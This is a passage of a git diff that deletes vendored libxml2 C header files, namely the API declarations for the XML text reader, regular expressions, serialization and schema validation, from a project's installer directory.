-typedef struct _xmlModule xmlModule; -typedef xmlModule *xmlModulePtr; - -/** - * xmlModuleOption: - * - * enumeration of options that can be passed down to xmlModuleOpen() - */ -typedef enum { - XML_MODULE_LAZY = 1, /* lazy binding */ - XML_MODULE_LOCAL= 2 /* local binding */ -} xmlModuleOption; - -XMLPUBFUN xmlModulePtr XMLCALL xmlModuleOpen (const char *filename, - int options); - -XMLPUBFUN int XMLCALL xmlModuleSymbol (xmlModulePtr module, - const char* name, - void **result); - -XMLPUBFUN int XMLCALL xmlModuleClose (xmlModulePtr module); - -XMLPUBFUN int XMLCALL xmlModuleFree (xmlModulePtr module); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_MODULES_ENABLED */ - -#endif /*__XML_MODULE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlreader.h b/installer/libxml2/include/libxml/xmlreader.h deleted file mode 100644 index 2c99e3a..0000000 --- a/installer/libxml2/include/libxml/xmlreader.h +++ /dev/null @@ -1,428 +0,0 @@ -/* - * Summary: the XMLReader implementation - * Description: API of the XML streaming API based on C# interfaces. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XMLREADER_H__ -#define __XML_XMLREADER_H__ - -#include -#include -#include -#ifdef LIBXML_SCHEMAS_ENABLED -#include -#include -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlParserSeverities: - * - * How severe an error callback is when the per-reader error callback API - * is used. - */ -typedef enum { - XML_PARSER_SEVERITY_VALIDITY_WARNING = 1, - XML_PARSER_SEVERITY_VALIDITY_ERROR = 2, - XML_PARSER_SEVERITY_WARNING = 3, - XML_PARSER_SEVERITY_ERROR = 4 -} xmlParserSeverities; - -#ifdef LIBXML_READER_ENABLED - -/** - * xmlTextReaderMode: - * - * Internal state values for the reader. - */ -typedef enum { - XML_TEXTREADER_MODE_INITIAL = 0, - XML_TEXTREADER_MODE_INTERACTIVE = 1, - XML_TEXTREADER_MODE_ERROR = 2, - XML_TEXTREADER_MODE_EOF =3, - XML_TEXTREADER_MODE_CLOSED = 4, - XML_TEXTREADER_MODE_READING = 5 -} xmlTextReaderMode; - -/** - * xmlParserProperties: - * - * Some common options to use with xmlTextReaderSetParserProp, but it - * is better to use xmlParserOption and the xmlReaderNewxxx and - * xmlReaderForxxx APIs now. - */ -typedef enum { - XML_PARSER_LOADDTD = 1, - XML_PARSER_DEFAULTATTRS = 2, - XML_PARSER_VALIDATE = 3, - XML_PARSER_SUBST_ENTITIES = 4 -} xmlParserProperties; - -/** - * xmlReaderTypes: - * - * Predefined constants for the different types of nodes. - */ -typedef enum { - XML_READER_TYPE_NONE = 0, - XML_READER_TYPE_ELEMENT = 1, - XML_READER_TYPE_ATTRIBUTE = 2, - XML_READER_TYPE_TEXT = 3, - XML_READER_TYPE_CDATA = 4, - XML_READER_TYPE_ENTITY_REFERENCE = 5, - XML_READER_TYPE_ENTITY = 6, - XML_READER_TYPE_PROCESSING_INSTRUCTION = 7, - XML_READER_TYPE_COMMENT = 8, - XML_READER_TYPE_DOCUMENT = 9, - XML_READER_TYPE_DOCUMENT_TYPE = 10, - XML_READER_TYPE_DOCUMENT_FRAGMENT = 11, - XML_READER_TYPE_NOTATION = 12, - XML_READER_TYPE_WHITESPACE = 13, - XML_READER_TYPE_SIGNIFICANT_WHITESPACE = 14, - XML_READER_TYPE_END_ELEMENT = 15, - XML_READER_TYPE_END_ENTITY = 16, - XML_READER_TYPE_XML_DECLARATION = 17 -} xmlReaderTypes; - -/** - * xmlTextReader: - * - * Structure for an xmlReader context. - */ -typedef struct _xmlTextReader xmlTextReader; - -/** - * xmlTextReaderPtr: - * - * Pointer to an xmlReader context. - */ -typedef xmlTextReader *xmlTextReaderPtr; - -/* - * Constructors & Destructor - */ -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlNewTextReader (xmlParserInputBufferPtr input, - const char *URI); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlNewTextReaderFilename(const char *URI); - -XMLPUBFUN void XMLCALL - xmlFreeTextReader (xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderSetup(xmlTextReaderPtr reader, - xmlParserInputBufferPtr input, const char *URL, - const char *encoding, int options); - -/* - * Iterators - */ -XMLPUBFUN int XMLCALL - xmlTextReaderRead (xmlTextReaderPtr reader); - -#ifdef LIBXML_WRITER_ENABLED -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadInnerXml(xmlTextReaderPtr reader); - -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadOuterXml(xmlTextReaderPtr reader); -#endif - -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadString (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderReadAttributeValue(xmlTextReaderPtr reader); - -/* - * Attributes of the node - */ -XMLPUBFUN int XMLCALL - xmlTextReaderAttributeCount(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderDepth (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderHasAttributes(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderHasValue(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsDefault (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsEmptyElement(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNodeType (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderQuoteChar (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderReadState (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsNamespaceDecl(xmlTextReaderPtr reader); - -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstBaseUri (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstLocalName (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstName (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstNamespaceUri(xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstPrefix (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstXmlLang (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstString (xmlTextReaderPtr reader, - const xmlChar *str); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstValue (xmlTextReaderPtr reader); - -/* - * use the Const version of the routine for - * better performance and simpler code - */ -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderBaseUri (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLocalName (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderName (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderNamespaceUri(xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderPrefix (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderXmlLang (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderValue (xmlTextReaderPtr reader); - -/* - * Methods of the XmlTextReader - */ -XMLPUBFUN int XMLCALL - xmlTextReaderClose (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttributeNo (xmlTextReaderPtr reader, - int no); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttribute (xmlTextReaderPtr reader, - const xmlChar *name); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttributeNs (xmlTextReaderPtr reader, - const xmlChar *localName, - const xmlChar *namespaceURI); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlTextReaderGetRemainder (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLookupNamespace(xmlTextReaderPtr reader, - const xmlChar *prefix); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttributeNo(xmlTextReaderPtr reader, - int no); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttribute(xmlTextReaderPtr reader, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttributeNs(xmlTextReaderPtr reader, - const xmlChar *localName, - const xmlChar *namespaceURI); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToFirstAttribute(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToNextAttribute(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToElement (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNormalization (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstEncoding (xmlTextReaderPtr reader); - -/* - * Extensions - */ -XMLPUBFUN int XMLCALL - xmlTextReaderSetParserProp (xmlTextReaderPtr reader, - int prop, - int value); -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserProp (xmlTextReaderPtr reader, - int prop); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderCurrentNode (xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserLineNumber(xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserColumnNumber(xmlTextReaderPtr reader); - -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderPreserve (xmlTextReaderPtr reader); -#ifdef LIBXML_PATTERN_ENABLED -XMLPUBFUN int XMLCALL - xmlTextReaderPreservePattern(xmlTextReaderPtr reader, - const xmlChar *pattern, - const xmlChar **namespaces); -#endif /* LIBXML_PATTERN_ENABLED */ -XMLPUBFUN xmlDocPtr XMLCALL - xmlTextReaderCurrentDoc (xmlTextReaderPtr reader); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderExpand (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNext (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNextSibling (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsValid (xmlTextReaderPtr reader); -#ifdef LIBXML_SCHEMAS_ENABLED -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGValidate(xmlTextReaderPtr reader, - const char *rng); -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGValidateCtxt(xmlTextReaderPtr reader, - xmlRelaxNGValidCtxtPtr ctxt, - int options); - -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGSetSchema(xmlTextReaderPtr reader, - xmlRelaxNGPtr schema); -XMLPUBFUN int XMLCALL - xmlTextReaderSchemaValidate (xmlTextReaderPtr reader, - const char *xsd); -XMLPUBFUN int XMLCALL - xmlTextReaderSchemaValidateCtxt(xmlTextReaderPtr reader, - xmlSchemaValidCtxtPtr ctxt, - int options); -XMLPUBFUN int XMLCALL - xmlTextReaderSetSchema (xmlTextReaderPtr reader, - xmlSchemaPtr schema); -#endif -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstXmlVersion(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderStandalone (xmlTextReaderPtr reader); - - -/* - * Index lookup - */ -XMLPUBFUN long XMLCALL - xmlTextReaderByteConsumed (xmlTextReaderPtr reader); - -/* - * New more complete APIs for simpler creation and reuse of readers - */ -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderWalker (xmlDocPtr doc); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForDoc (const xmlChar * cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForFile (const char *filename, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -XMLPUBFUN int XMLCALL - xmlReaderNewWalker (xmlTextReaderPtr reader, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlReaderNewDoc (xmlTextReaderPtr reader, - const xmlChar * cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewFile (xmlTextReaderPtr reader, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewMemory (xmlTextReaderPtr reader, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewFd (xmlTextReaderPtr reader, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewIO (xmlTextReaderPtr reader, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -/* - * Error handling extensions - */ -typedef void * xmlTextReaderLocatorPtr; - -/** - * xmlTextReaderErrorFunc: - * @arg: the user argument - * @msg: the message - * @severity: the severity of the error - * @locator: a locator indicating where the error occured - * - * Signature of an error callback from a reader parser - */ -typedef void (XMLCALL *xmlTextReaderErrorFunc)(void *arg, - const char *msg, - xmlParserSeverities severity, - xmlTextReaderLocatorPtr locator); -XMLPUBFUN int XMLCALL - xmlTextReaderLocatorLineNumber(xmlTextReaderLocatorPtr locator); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLocatorBaseURI (xmlTextReaderLocatorPtr locator); -XMLPUBFUN void XMLCALL - xmlTextReaderSetErrorHandler(xmlTextReaderPtr reader, - xmlTextReaderErrorFunc f, - void *arg); -XMLPUBFUN void XMLCALL - xmlTextReaderSetStructuredErrorHandler(xmlTextReaderPtr reader, - xmlStructuredErrorFunc f, - void *arg); -XMLPUBFUN void XMLCALL - xmlTextReaderGetErrorHandler(xmlTextReaderPtr reader, - xmlTextReaderErrorFunc *f, - void **arg); - -#endif /* LIBXML_READER_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_XMLREADER_H__ */ - diff --git a/installer/libxml2/include/libxml/xmlregexp.h b/installer/libxml2/include/libxml/xmlregexp.h deleted file mode 100644 index 7009645..0000000 --- a/installer/libxml2/include/libxml/xmlregexp.h +++ /dev/null @@ -1,222 +0,0 @@ -/* - * Summary: regular expressions handling - * Description: basic API for libxml regular expressions handling used - * for XML Schemas and validation. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_REGEXP_H__ -#define __XML_REGEXP_H__ - -#include - -#ifdef LIBXML_REGEXP_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlRegexpPtr: - * - * A libxml regular expression, they can actually be far more complex - * thank the POSIX regex expressions. - */ -typedef struct _xmlRegexp xmlRegexp; -typedef xmlRegexp *xmlRegexpPtr; - -/** - * xmlRegExecCtxtPtr: - * - * A libxml progressive regular expression evaluation context - */ -typedef struct _xmlRegExecCtxt xmlRegExecCtxt; -typedef xmlRegExecCtxt *xmlRegExecCtxtPtr; - -#ifdef __cplusplus -} -#endif -#include -#include -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The POSIX like API - */ -XMLPUBFUN xmlRegexpPtr XMLCALL - xmlRegexpCompile (const xmlChar *regexp); -XMLPUBFUN void XMLCALL xmlRegFreeRegexp(xmlRegexpPtr regexp); -XMLPUBFUN int XMLCALL - xmlRegexpExec (xmlRegexpPtr comp, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlRegexpPrint (FILE *output, - xmlRegexpPtr regexp); -XMLPUBFUN int XMLCALL - xmlRegexpIsDeterminist(xmlRegexpPtr comp); - -/** - * xmlRegExecCallbacks: - * @exec: the regular expression context - * @token: the current token string - * @transdata: transition data - * @inputdata: input data - * - * Callback function when doing a transition in the automata - */ -typedef void (*xmlRegExecCallbacks) (xmlRegExecCtxtPtr exec, - const xmlChar *token, - void *transdata, - void *inputdata); - -/* - * The progressive API - */ -XMLPUBFUN xmlRegExecCtxtPtr XMLCALL - xmlRegNewExecCtxt (xmlRegexpPtr comp, - xmlRegExecCallbacks callback, - void *data); -XMLPUBFUN void XMLCALL - xmlRegFreeExecCtxt (xmlRegExecCtxtPtr exec); -XMLPUBFUN int XMLCALL - xmlRegExecPushString(xmlRegExecCtxtPtr exec, - const xmlChar *value, - void *data); -XMLPUBFUN int XMLCALL - xmlRegExecPushString2(xmlRegExecCtxtPtr exec, - const xmlChar *value, - const xmlChar *value2, - void *data); - -XMLPUBFUN int XMLCALL - xmlRegExecNextValues(xmlRegExecCtxtPtr exec, - int *nbval, - int *nbneg, - xmlChar **values, - int *terminal); -XMLPUBFUN int XMLCALL - xmlRegExecErrInfo (xmlRegExecCtxtPtr exec, - const xmlChar **string, - int *nbval, - int *nbneg, - xmlChar **values, - int *terminal); -#ifdef LIBXML_EXPR_ENABLED -/* - * Formal regular expression handling - * Its goal is to do some formal work on content models - */ - -/* expressions are used within a context */ -typedef struct _xmlExpCtxt xmlExpCtxt; -typedef xmlExpCtxt *xmlExpCtxtPtr; - -XMLPUBFUN void XMLCALL - xmlExpFreeCtxt (xmlExpCtxtPtr ctxt); -XMLPUBFUN xmlExpCtxtPtr XMLCALL - xmlExpNewCtxt (int maxNodes, - xmlDictPtr dict); - -XMLPUBFUN int XMLCALL - xmlExpCtxtNbNodes(xmlExpCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlExpCtxtNbCons(xmlExpCtxtPtr ctxt); - -/* Expressions are trees but the tree is opaque */ -typedef struct _xmlExpNode xmlExpNode; -typedef xmlExpNode *xmlExpNodePtr; - -typedef enum { - XML_EXP_EMPTY = 0, - XML_EXP_FORBID = 1, - XML_EXP_ATOM = 2, - XML_EXP_SEQ = 3, - XML_EXP_OR = 4, - XML_EXP_COUNT = 5 -} xmlExpNodeType; - -/* - * 2 core expressions shared by all for the empty language set - * and for the set with just the empty token - */ -XMLPUBVAR xmlExpNodePtr forbiddenExp; -XMLPUBVAR xmlExpNodePtr emptyExp; - -/* - * Expressions are reference counted internally - */ -XMLPUBFUN void XMLCALL - xmlExpFree (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr); -XMLPUBFUN void XMLCALL - xmlExpRef (xmlExpNodePtr expr); - -/* - * constructors can be either manual or from a string - */ -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpParse (xmlExpCtxtPtr ctxt, - const char *expr); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewAtom (xmlExpCtxtPtr ctxt, - const xmlChar *name, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewOr (xmlExpCtxtPtr ctxt, - xmlExpNodePtr left, - xmlExpNodePtr right); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewSeq (xmlExpCtxtPtr ctxt, - xmlExpNodePtr left, - xmlExpNodePtr right); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewRange (xmlExpCtxtPtr ctxt, - xmlExpNodePtr subset, - int min, - int max); -/* - * The really interesting APIs - */ -XMLPUBFUN int XMLCALL - xmlExpIsNillable(xmlExpNodePtr expr); -XMLPUBFUN int XMLCALL - xmlExpMaxToken (xmlExpNodePtr expr); -XMLPUBFUN int XMLCALL - xmlExpGetLanguage(xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar**langList, - int len); -XMLPUBFUN int XMLCALL - xmlExpGetStart (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar**tokList, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpStringDerive(xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - const xmlChar *str, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpExpDerive (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - xmlExpNodePtr sub); -XMLPUBFUN int XMLCALL - xmlExpSubsume (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr, - xmlExpNodePtr sub); -XMLPUBFUN void XMLCALL - xmlExpDump (xmlBufferPtr buf, - xmlExpNodePtr expr); -#endif /* LIBXML_EXPR_ENABLED */ -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_REGEXP_ENABLED */ - -#endif /*__XML_REGEXP_H__ */ diff --git a/installer/libxml2/include/libxml/xmlsave.h b/installer/libxml2/include/libxml/xmlsave.h deleted file mode 100644 index fb329b2..0000000 --- a/installer/libxml2/include/libxml/xmlsave.h +++ /dev/null @@ -1,88 +0,0 @@ -/* - * Summary: the XML document serializer - * Description: API to save document or subtree of document - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XMLSAVE_H__ -#define __XML_XMLSAVE_H__ - -#include -#include -#include -#include - -#ifdef LIBXML_OUTPUT_ENABLED -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlSaveOption: - * - * This is the set of XML save options that can be passed down - * to the xmlSaveToFd() and similar calls. - */ -typedef enum { - XML_SAVE_FORMAT = 1<<0, /* format save output */ - XML_SAVE_NO_DECL = 1<<1, /* drop the xml declaration */ - XML_SAVE_NO_EMPTY = 1<<2, /* no empty tags */ - XML_SAVE_NO_XHTML = 1<<3, /* disable XHTML1 specific rules */ - XML_SAVE_XHTML = 1<<4, /* force XHTML1 specific rules */ - XML_SAVE_AS_XML = 1<<5, /* force XML serialization on HTML doc */ - XML_SAVE_AS_HTML = 1<<6, /* force HTML serialization on XML doc */ - XML_SAVE_WSNONSIG = 1<<7 /* format with non-significant whitespace */ -} xmlSaveOption; - - -typedef struct _xmlSaveCtxt xmlSaveCtxt; -typedef xmlSaveCtxt *xmlSaveCtxtPtr; - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToFd (int fd, - const char *encoding, - int options); -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToFilename (const char *filename, - const char *encoding, - int options); - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToBuffer (xmlBufferPtr buffer, - const char *encoding, - int options); - -XMLPUBFUN xmlSaveCtxtPtr XMLCALL - xmlSaveToIO (xmlOutputWriteCallback iowrite, - xmlOutputCloseCallback ioclose, - void *ioctx, - const char *encoding, - int options); - -XMLPUBFUN long XMLCALL - xmlSaveDoc (xmlSaveCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN long XMLCALL - xmlSaveTree (xmlSaveCtxtPtr ctxt, - xmlNodePtr node); - -XMLPUBFUN int XMLCALL - xmlSaveFlush (xmlSaveCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSaveClose (xmlSaveCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSaveSetEscape (xmlSaveCtxtPtr ctxt, - xmlCharEncodingOutputFunc escape); -XMLPUBFUN int XMLCALL - xmlSaveSetAttrEscape (xmlSaveCtxtPtr ctxt, - xmlCharEncodingOutputFunc escape); -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_OUTPUT_ENABLED */ -#endif /* __XML_XMLSAVE_H__ */ - - diff --git a/installer/libxml2/include/libxml/xmlschemas.h b/installer/libxml2/include/libxml/xmlschemas.h deleted file mode 100644 index 97930c7..0000000 --- a/installer/libxml2/include/libxml/xmlschemas.h +++ /dev/null @@ -1,246 +0,0 @@ -/* - * Summary: incomplete XML Schemas structure implementation - * Description: interface to the XML Schemas handling and schema validity - * checking, it is incomplete right now. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_H__ -#define __XML_SCHEMA_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * This error codes are obsolete; not used any more. - */ -typedef enum { - XML_SCHEMAS_ERR_OK = 0, - XML_SCHEMAS_ERR_NOROOT = 1, - XML_SCHEMAS_ERR_UNDECLAREDELEM, - XML_SCHEMAS_ERR_NOTTOPLEVEL, - XML_SCHEMAS_ERR_MISSING, - XML_SCHEMAS_ERR_WRONGELEM, - XML_SCHEMAS_ERR_NOTYPE, - XML_SCHEMAS_ERR_NOROLLBACK, - XML_SCHEMAS_ERR_ISABSTRACT, - XML_SCHEMAS_ERR_NOTEMPTY, - XML_SCHEMAS_ERR_ELEMCONT, - XML_SCHEMAS_ERR_HAVEDEFAULT, - XML_SCHEMAS_ERR_NOTNILLABLE, - XML_SCHEMAS_ERR_EXTRACONTENT, - XML_SCHEMAS_ERR_INVALIDATTR, - XML_SCHEMAS_ERR_INVALIDELEM, - XML_SCHEMAS_ERR_NOTDETERMINIST, - XML_SCHEMAS_ERR_CONSTRUCT, - XML_SCHEMAS_ERR_INTERNAL, - XML_SCHEMAS_ERR_NOTSIMPLE, - XML_SCHEMAS_ERR_ATTRUNKNOWN, - XML_SCHEMAS_ERR_ATTRINVALID, - XML_SCHEMAS_ERR_VALUE, - XML_SCHEMAS_ERR_FACET, - XML_SCHEMAS_ERR_, - XML_SCHEMAS_ERR_XXX -} xmlSchemaValidError; - -/* -* ATTENTION: Change xmlSchemaSetValidOptions's check -* for invalid values, if adding to the validation -* options below. -*/ -/** - * xmlSchemaValidOption: - * - * This is the set of XML Schema validation options. - */ -typedef enum { - XML_SCHEMA_VAL_VC_I_CREATE = 1<<0 - /* Default/fixed: create an attribute node - * or an element's text node on the instance. - */ -} xmlSchemaValidOption; - -/* - XML_SCHEMA_VAL_XSI_ASSEMBLE = 1<<1, - * assemble schemata using - * xsi:schemaLocation and - * xsi:noNamespaceSchemaLocation -*/ - -/** - * The schemas related types are kept internal - */ -typedef struct _xmlSchema xmlSchema; -typedef xmlSchema *xmlSchemaPtr; - -/** - * xmlSchemaValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from an XSD validation - */ -typedef void (XMLCDECL *xmlSchemaValidityErrorFunc) - (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlSchemaValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from an XSD validation - */ -typedef void (XMLCDECL *xmlSchemaValidityWarningFunc) - (void *ctx, const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * A schemas validation context - */ -typedef struct _xmlSchemaParserCtxt xmlSchemaParserCtxt; -typedef xmlSchemaParserCtxt *xmlSchemaParserCtxtPtr; - -typedef struct _xmlSchemaValidCtxt xmlSchemaValidCtxt; -typedef xmlSchemaValidCtxt *xmlSchemaValidCtxtPtr; - -/** - * xmlSchemaValidityLocatorFunc: - * @ctx: user provided context - * @file: returned file information - * @line: returned line information - * - * A schemas validation locator, a callback called by the validator. - * This is used when file or node informations are not available - * to find out what file and line number are affected - * - * Returns: 0 in case of success and -1 in case of error - */ - -typedef int (XMLCDECL *xmlSchemaValidityLocatorFunc) (void *ctx, - const char **file, unsigned long *line); - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewParserCtxt (const char *URL); -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewMemParserCtxt (const char *buffer, - int size); -XMLPUBFUN xmlSchemaParserCtxtPtr XMLCALL - xmlSchemaNewDocParserCtxt (xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSchemaFreeParserCtxt (xmlSchemaParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchemaSetParserErrors (xmlSchemaParserCtxtPtr ctxt, - xmlSchemaValidityErrorFunc err, - xmlSchemaValidityWarningFunc warn, - void *ctx); -XMLPUBFUN void XMLCALL - xmlSchemaSetParserStructuredErrors(xmlSchemaParserCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchemaGetParserErrors(xmlSchemaParserCtxtPtr ctxt, - xmlSchemaValidityErrorFunc * err, - xmlSchemaValidityWarningFunc * warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchemaIsValid (xmlSchemaValidCtxtPtr ctxt); - -XMLPUBFUN xmlSchemaPtr XMLCALL - xmlSchemaParse (xmlSchemaParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchemaFree (xmlSchemaPtr schema); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlSchemaDump (FILE *output, - xmlSchemaPtr schema); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlSchemaSetValidErrors (xmlSchemaValidCtxtPtr ctxt, - xmlSchemaValidityErrorFunc err, - xmlSchemaValidityWarningFunc warn, - void *ctx); -XMLPUBFUN void XMLCALL - xmlSchemaSetValidStructuredErrors(xmlSchemaValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchemaGetValidErrors (xmlSchemaValidCtxtPtr ctxt, - xmlSchemaValidityErrorFunc *err, - xmlSchemaValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchemaSetValidOptions (xmlSchemaValidCtxtPtr ctxt, - int options); -XMLPUBFUN void XMLCALL - xmlSchemaValidateSetFilename(xmlSchemaValidCtxtPtr vctxt, - const char *filename); -XMLPUBFUN int XMLCALL - 